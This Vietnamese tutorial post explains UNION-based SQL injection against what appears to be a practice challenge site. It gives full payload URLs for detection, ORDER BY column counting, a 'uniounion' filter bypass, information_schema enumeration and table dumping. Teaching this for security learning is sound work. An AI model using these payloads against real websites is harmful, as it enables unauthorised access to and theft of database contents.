+1

Kỹ thuật tấn công SQL Injection

1. Phát hiện

Để phát hiện một ứng dụng web có dính lỗi SQL Injection hay không, ta thêm vào câu truy vấn các meta character trong các hệ quản trị cơ sở dữ liệu, chẳng hạn như dấu nháy đơn, dấu nháy kép, dấu chấm phẩy và các ký tự comment (--, ##, /**/)… và chờ xem ứng dụng web sẽ xứ lý câu truy vấn đó như thế nào. Trong hướng dẫn này, chúng ta sẽ áp dụng với địa chỉ sau: http://zerocoolhf.altervista.org/level1.php?id=1

Thêm vào cuối liên kết trên một trong các meta character đã nói ở trên, chẳng hạn ta thêm vào dấu nháy đơn: http://zerocoolhf.altervista.org/level1.php?id=1'

Thông báo lỗi từ mysql xuất hiện, như vậy trang web này đã bị dính lỗi SQL injection.

2. Xác định số lượng cột trong mệnh đề select

Union là từ khóa dùng để gộp kết quả của nhiều mệnh đề select do đó trong mỗi mệnh đề select đòi hỏi số lượng các trường đều phải bằng nhau và đều bằng số lượng các trường được select trong mệnh đề select ban đầu. Chúng ta sẽ sử dụng điều này để xác định số lượng cột của cở sở dữ liệu.

Cụ thể, chúng ta sẽ thực hiện thử dần bằng cách tăng dần số lượng cột trong mệnh đề select sau union (bắt đầu từ 1). Khi nào không thấy thông báo lỗi xuất hiện thì đó chính là số lượng cột cần tìm.

Một cách nhanh hơn là sử dụng 'order by'. Từ khóa 'order by' được dùng để sắp xếp thứ tự cho các bản ghi thu được trong mệnh để select. Sau order by có thể là tên một cột để xác định rằng kết quả thu về sẽ được sắp xếp theo giá trị của cột đó (tăng dần hoặc giảm dần). Sau 'order by' cũng có thể là số thứ tự vị trí của cột đó. Nếu giá trị sau order lớn hơn số cột được select thì chúng ta sẽ thấy thông báo lỗi.

Quay trở lại ví dụ:

http://zerocoolhf.altervista.org/level1.php?id=1' order by 1-- -

http://zerocoolhf.altervista.org/level1.php?id=1' order by 2-- -

http://zerocoolhf.altervista.org/level1.php?id=1' order by 3-- -

http://zerocoolhf.altervista.org/level1.php?id=1' order by 4-- -

Thông báo lỗi xuất hiện. Như vậy, ta xác định được số cột là 3.

3. Xác định thông tin

Để biết được tên bảng, tên cột, ta sử dụng đối tượng information_schema. Đối tượng này cung cấp các thông tin về tables, columns, views và procedures… của cơ sở dữ liệu.

Tiếp tục với ví dụ:

http://zerocoolhf.altervista.org/level1.php?id=-1' union select 1,2,3-- -

Lỗi trả về cho ta thấy có vẻ như ‘unio’ đã bị xóa mất. Thử lại với:

http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select 1,2,3-- -

Thành công. Ta sẽ thấy cột số 2 và 3 bị lỗi. Lấy phiên bản của hệ quản trị cơ sở dữ liệu và tên cơ sở dữ liệu:

http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select 1,version(),database()-- -

Như vậy tên cơ sở dữ liệu là my_zerocoolhf và phiên bản của hệ quản trị cơ sở dữ liệu là MySQL 5.1.71-community-log. Tiếp tục, lấy tên các bảng trong cơ sở dữ liệu:

http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select all 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -

Cơ sở dữ liệu có 2 bảng là auth và book. Chúng ta sẽ thử lấy nội dung các bản ghi trong bảng book. Trước hết xác định các trường của bảng book. Thực hiện:

http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select all 1,group_concat(column_name),3 from information_schema.columns where table_name=0x626f6f6b-- -

(0x626f6f6b là mã hex của tên bảng book, tương tự nếu muốn lấy tên các trường của bảng auth thì chỉ cần thay mã hex của auth vào vị trí của 0x626f6f6b)

Tên các trường: id, title, price, author. Bây giờ ta sẽ lấy nội dung các bản ghi trong cơ sở dữ liệu:

http://zerocoolhf.altervista.org/level1.php?id=-1' uniounion select all 1,group_concat(id,0x3a,title,0x3a,price,0x3a,author),3 from book-- -

(group_concat để nối nhiều giá trị với nhau. 0x3a là dấu “:”, để ngăn cách cho dễ nhìn)

Như vậy, ta có thể lấy được toàn bộ cơ sở dữ liệu của site bị lỗi SQL injection.


All Rights Reserved

Viblo
Let's register a Viblo Account to get more interesting posts.